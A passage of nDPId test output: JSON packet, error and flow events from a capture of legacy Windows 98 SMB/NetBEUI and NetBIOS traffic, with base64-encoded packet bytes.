-00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":116,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":18,"global_ts_usec":1576409872793837} -00367{"packet_event_id":1,"packet_event_name":"packet","packet_id":116,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409871610878,"pkt":"AFBWM3ieAAwp1HmyABLw8BwYDgD\/7xQAAAAoAAAAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":117,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409873117808} -00365{"packet_event_id":1,"packet_event_name":"packet","packet_id":117,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409871610878,"pkt":"AAwp1HmyAFBWM3ieAATw8QEeIQAAAIARuLrAqO+BwKjv\/wCJAIkATG2mAAopEAABAAAAAAABIEZIRVBG"} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":118,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":142,"global_ts_usec":1576409876181879} -00497{"packet_event_id":1,"packet_event_name":"packet","packet_id":118,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":156,"pkt_type":142,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":156,"pkt_l4_len":0,"thread_ts_usec":1576409871610878,"pkt":"AwAAAAABAFBWM3ieAI7w8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAdTURKUjk4ICAgICAgICAgIP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAACQAAAAAAAAAAAAAAAAAAAAAAAAAJAFYAAwABAAEAAgAaAFxNQUlMU0xPVFxCUk9XU0UAAgBNREpSOTgA"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":119,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":93,"global_ts_usec":1576409876669832} -00435{"packet_event_id":1,"packet_event_name":"packet","packet_id":119,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":107,"pkt_type":93,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"thread_ts_usec":1576409871610878,"pkt":"AFBWM3ieAAwp1HmyAF3w8B4YDgD\/7xYEAAAAAAwAFQP\/U01CLQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAACBAQ\/\/AAAABwAAABYAAAAiKfZdAQAAAAAAAAAAAAAAAAAKAFxURVNULlRYVAA="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":120,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409876669999} -00365{"packet_event_id":1,"packet_event_name":"packet","packet_id":120,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409871610878,"pkt":"AAwp1HmyAFBWM3ieAATw8QEgIwAAAIARtrrAqO+BwKjv\/wCJAIkATG6mAAooEAABAAAAAAABIEZIRVBG"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":121,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":83,"global_ts_usec":1576409876670119} -00421{"packet_event_id":1,"packet_event_name":"packet","packet_id":121,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":97,"pkt_type":83,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"thread_ts_usec":1576409871610878,"pkt":"AAwp1HmyAFBWM3ieAFPw8BggDgD\/7xYMAAAMACgAAxX\/U01CLQAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAACBAQ\/\/AAAAAQAgAB4p9l1kBAAAAAAAAAAAAQAAAAAAAAAAAA=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":122,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":59,"global_ts_usec":1576409876703380} -00391{"packet_event_id":1,"packet_event_name":"packet","packet_id":122,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":73,"pkt_type":59,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":73,"pkt_l4_len":0,"thread_ts_usec":1576409871610878,"pkt":"AFBWM3ieAAwp1HmyADvw8CAaDgD\/7xYMAAAoAA0AFQP\/U01CBAAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAAChAQMBAP\/\/\/\/8AAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":123,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409876703521} -00365{"packet_event_id":1,"packet_event_name":"packet","packet_id":123,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409871610878,"pkt":"AAwp1HmyAFBWM3ieAATw8QEiAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAdTURKUjk4ICAgICAgICAg"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":124,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":53,"global_ts_usec":1576409876703601} -00379{"packet_event_id":1,"packet_event_name":"packet","packet_id":124,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"thread_ts_usec":1576409871610878,"pkt":"AAwp1HmyAFBWM3ieADXw8BoiDgD\/7xYMAAANACgAAxX\/U01CBAAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAAChAQAAAA=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":125,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":18,"global_ts_usec":1576409876764250} -00367{"packet_event_id":1,"packet_event_name":"packet","packet_id":125,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409871610878,"pkt":"AFBWM3ieAAwp1HmyABLw8CIcDgD\/7xQAAAAoAAAAFQP\/U01CBAAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":126,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409876771024} -00365{"packet_event_id":1,"packet_event_name":"packet","packet_id":126,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409871610878,"pkt":"AAwp1HmyAFBWM3ieAATw8QEkAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAdTURKUjk4ICAgICAgICAg"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":128,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":64,"global_ts_usec":1576409882997566} -00391{"packet_event_id":1,"packet_event_name":"packet","packet_id":128,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":78,"pkt_type":64,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":78,"pkt_l4_len":0,"thread_ts_usec":1576409881580957,"pkt":"AFBWM3ieAAwp1HmyAEDw8CQcDgD\/7xYEAAAAAA4AFQP\/U01CEAAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAADBAQALAARcVEVTVC5UWFQA"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":129,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":53,"global_ts_usec":1576409882997752} -00379{"packet_event_id":1,"packet_event_name":"packet","packet_id":129,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"thread_ts_usec":1576409881580957,"pkt":"AAwp1HmyAFBWM3ieADXw8BwmDgD\/7xYMAAAOACgAAxX\/U01CEAEAAwCAAAAAAAAAAAAAAAAAAAAAyHUFAADBAQAAAA=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":130,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":66,"global_ts_usec":1576409882997898} -00395{"packet_event_id":1,"packet_event_name":"packet","packet_id":130,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":80,"pkt_type":66,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":80,"pkt_l4_len":0,"thread_ts_usec":1576409881580957,"pkt":"AFBWM3ieAAwp1HmyAELw8CYeDgD\/7xYMAAAoAA8AFQP\/U01CBgAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAADhAQEAAAsABFxURVNULlRYVAA="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":131,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":53,"global_ts_usec":1576409882997999} -00379{"packet_event_id":1,"packet_event_name":"packet","packet_id":131,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"thread_ts_usec":1576409881580957,"pkt":"AAwp1HmyAFBWM3ieADXw8B4oDgD\/7xYMAAAPACgAAxX\/U01CBgAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAADhAQAAAA=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":132,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":18,"global_ts_usec":1576409883083853} -00367{"packet_event_id":1,"packet_event_name":"packet","packet_id":132,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409881580957,"pkt":"AFBWM3ieAAwp1HmyABLw8CggDgD\/7xQAAAAoAAAAFQP\/U01CBAAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":133,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409883461819} -00365{"packet_event_id":1,"packet_event_name":"packet","packet_id":133,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409881580957,"pkt":"AAwp1HmyAFBWM3ieAATw8QEqDgD\/7xeBvAUDABUAAxXvAgCJAIkATAvHAAQpAAABAAAAAAABIEVORUVF"} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":134,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":154,"global_ts_usec":1576409886201847} -00513{"packet_event_id":1,"packet_event_name":"packet","packet_id":134,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":168,"pkt_type":154,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":168,"pkt_l4_len":0,"thread_ts_usec":1576409881580957,"pkt":"AwAAAAABAFBWM3ieAJrw8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAgIP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAFQAAAAAAAAAAAAAAAAAAAAAAAAAVAFYAAwABAAEAAgAmAFxNQUlMU0xPVFxCUk9XU0UACAEAAAAAAAAAAAAAAABNREpSOTgA"} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":135,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":154,"global_ts_usec":1576409888477823} -00513{"packet_event_id":1,"packet_event_name":"packet","packet_id":135,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":168,"pkt_type":154,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":168,"pkt_l4_len":0,"thread_ts_usec":1576409881580957,"pkt":"AwAAAAABAFBWM3ieAJrw8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAgIP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAFQAAAAAAAAAAAAAAAAAAAAAAAAAVAFYAAwABAAEAAgAmAFxNQUlMU0xPVFxCUk9XU0UACAEAFQQBfIgBAAAAAABNREpSOTgA"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":136,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":18,"global_ts_usec":1576409888973798} -00367{"packet_event_id":1,"packet_event_name":"packet","packet_id":136,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409881580957,"pkt":"AFBWM3ieAAwp1HmyABLw8CogDgD\/7x8AAAAAAAAAFQP\/U01CBAAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":137,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409888973922} -00365{"packet_event_id":1,"packet_event_name":"packet","packet_id":137,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409881580957,"pkt":"AAwp1HmyAFBWM3ieAATw8QEsAP\/vAAAAAAAAFAAAAAAAAAAAAAAAAAAAAAAAV09SS0dST1VQICAgICAg"} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":138,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":154,"global_ts_usec":1576409889485899} -00513{"packet_event_id":1,"packet_event_name":"packet","packet_id":138,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":168,"pkt_type":154,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":168,"pkt_l4_len":0,"thread_ts_usec":1576409881580957,"pkt":"AwAAAAABAFBWM3ieAJrw8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAgIP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAFQAAAAAAAAAAAAAAAAAAAAAAAAAVAFYAAwABAAEAAgAmAFxNQUlMU0xPVFxCUk9XU0UACAEAFQQBfIgBAAAAAABNREpSOTgA"} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":139,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":154,"global_ts_usec":1576409890489826} -00513{"packet_event_id":1,"packet_event_name":"packet","packet_id":139,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":168,"pkt_type":154,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":168,"pkt_l4_len":0,"thread_ts_usec":1576409881580957,"pkt":"AwAAAAABAFBWM3ieAJrw8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAgIP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAFQAAAAAAAAAAAAAAAAAAAAAAAAAVAFYAAwABAAEAAgAmAFxNQUlMU0xPVFxCUk9XU0UACAEAFQQBfIgBAAAAAABNREpSOTgA"} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":140,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":154,"global_ts_usec":1576409891489903} -00513{"packet_event_id":1,"packet_event_name":"packet","packet_id":140,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":168,"pkt_type":154,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":168,"pkt_l4_len":0,"thread_ts_usec":1576409881580957,"pkt":"AwAAAAABAFBWM3ieAJrw8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAgIP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAFQAAAAAAAAAAAAAAAAAAAAAAAAAVAFYAAwABAAEAAgAmAFxNQUlMU0xPVFxCUk9XU0UACAEAFQQBfIgBAAAAAABNREpSOTgA"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":142,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409892489826} -00371{"packet_event_id":1,"packet_event_name":"packet","packet_id":142,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409891609903,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAAFwAAAAAAAAAAAAAAAAAAAAAAV09SS0dST1VQICAgICAgHQ=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":143,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409893317826} -00371{"packet_event_id":1,"packet_event_name":"packet","packet_id":143,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409891609903,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAAFwAAAAAAAAAAAAAAAAAAAAAAV09SS0dST1VQICAgICAgHQ=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":145,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409894273832} -00371{"packet_event_id":1,"packet_event_name":"packet","packet_id":145,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409893769840,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAAFwAAAAAAAAAAAAAAAAAAAAAAV09SS0dST1VQICAgICAgHQ=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":147,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409895177868} -00371{"packet_event_id":1,"packet_event_name":"packet","packet_id":147,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409894785830,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAAAAAAAAGABXT1JLR1JPVVAgICAgICAdAQJfX01TQlJPV1NFX18CAQ=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":149,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409895982740} -00371{"packet_event_id":1,"packet_event_name":"packet","packet_id":149,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409895741945,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAAAAAAAAGABXT1JLR1JPVVAgICAgICAdAQJfX01TQlJPV1NFX18CAQ=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":151,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409896865840} -00371{"packet_event_id":1,"packet_event_name":"packet","packet_id":151,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409896749822,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAQJfX01TQlJPV1NFX18CAQ=="} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":152,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":142,"global_ts_usec":1576409897721870} -00497{"packet_event_id":1,"packet_event_name":"packet","packet_id":152,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":156,"pkt_type":142,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":156,"pkt_l4_len":0,"thread_ts_usec":1576409896749822,"pkt":"AwAAAAABAFBWM3ieAI7w8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAgIP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAACQAAAAAAAAAAAAAAAAAAAAAAAAAJAFYAAwABAAEAAgAaAFxNQUlMU0xPVFxCUk9XU0UAAgBNREpSOTgA"} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":153,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":142,"global_ts_usec":1576409897722007} -00497{"packet_event_id":1,"packet_event_name":"packet","packet_id":153,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":156,"pkt_type":142,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":156,"pkt_l4_len":0,"thread_ts_usec":1576409896749822,"pkt":"AwAAAAABAFBWM3ieAI7w8AMsAP\/vCAAAAAAAAAABAl9fTVNCUk9XU0VfXwIBTURKUjk4ICAgICAgICAgIP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAACQAAAAAAAAAAAAAAAAAAAAAAAAAJAFYAAwABAAEAAgAaAFxNQUlMU0xPVFxCUk9XU0UAAgBNREpSOTgA"} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":155,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":166,"global_ts_usec":1576409897781873} -00529{"packet_event_id":1,"packet_event_name":"packet","packet_id":155,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":180,"pkt_type":166,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":180,"pkt_l4_len":0,"thread_ts_usec":1576409897749849,"pkt":"AwAAAAABAFBWM3ieAKbw8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAgAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAIQAAAAAAAAAAAAAAAAAAAAAAAAAhAFYAAwABAAEAAgAyAFxNQUlMU0xPVFxCUk9XU0UADwXA1AEATURKUjk4AAAAAAAAAAAAAAQAAyBFABUEVaoA"} 00882{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":156,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1576409798047534,"flow_src_last_pkt_time":1576409798047534,"flow_dst_last_pkt_time":1576409798047534,"flow_idle_time":140000000,"flow_src_min_l4_payload_len":8,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":8,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":8,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1576409897749849,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"224.0.0.2","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"ICMP","proto_id":"81","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00921{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":156,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"finished","flow_src_packets_processed":9,"flow_dst_packets_processed":0,"flow_first_seen":1576409797553896,"flow_src_last_pkt_time":1576409897749849,"flow_dst_last_pkt_time":1576409797553896,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":68,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":68,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":612,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1576409897749849,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.2","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"NetBIOS","proto_id":"10","encrypted":0,"breed":"Acceptable","category_id":18,"category":"System"}} 00925{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":156,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"finished","flow_src_packets_processed":20,"flow_dst_packets_processed":0,"flow_first_seen":1576409800543745,"flow_src_last_pkt_time":1576409805843525,"flow_dst_last_pkt_time":1576409800543745,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":68,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":68,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1360,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1576409897749849,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"NetBIOS","proto_id":"10","encrypted":0,"breed":"Acceptable","category_id":18,"category":"System"}} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":156,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":60,"global_ts_usec":1576409898877607} -00387{"packet_event_id":1,"packet_event_name":"packet","packet_id":156,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":74,"pkt_type":60,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":74,"pkt_l4_len":0,"thread_ts_usec":1576409897749849,"pkt":"AFBWM3ieAAwp1HmyADzw8CwgDgD\/7xYEAAAAABAAFQP\/U01CAAAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAAABAgAHAARcVEVTVAA="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":157,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":53,"global_ts_usec":1576409898877844} -00379{"packet_event_id":1,"packet_event_name":"packet","packet_id":157,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"thread_ts_usec":1576409897749849,"pkt":"AAwp1HmyAFBWM3ieADXw8CAuDgD\/7xYMAAAQACgAAxX\/U01CAAAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAAABAgAAAA=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet 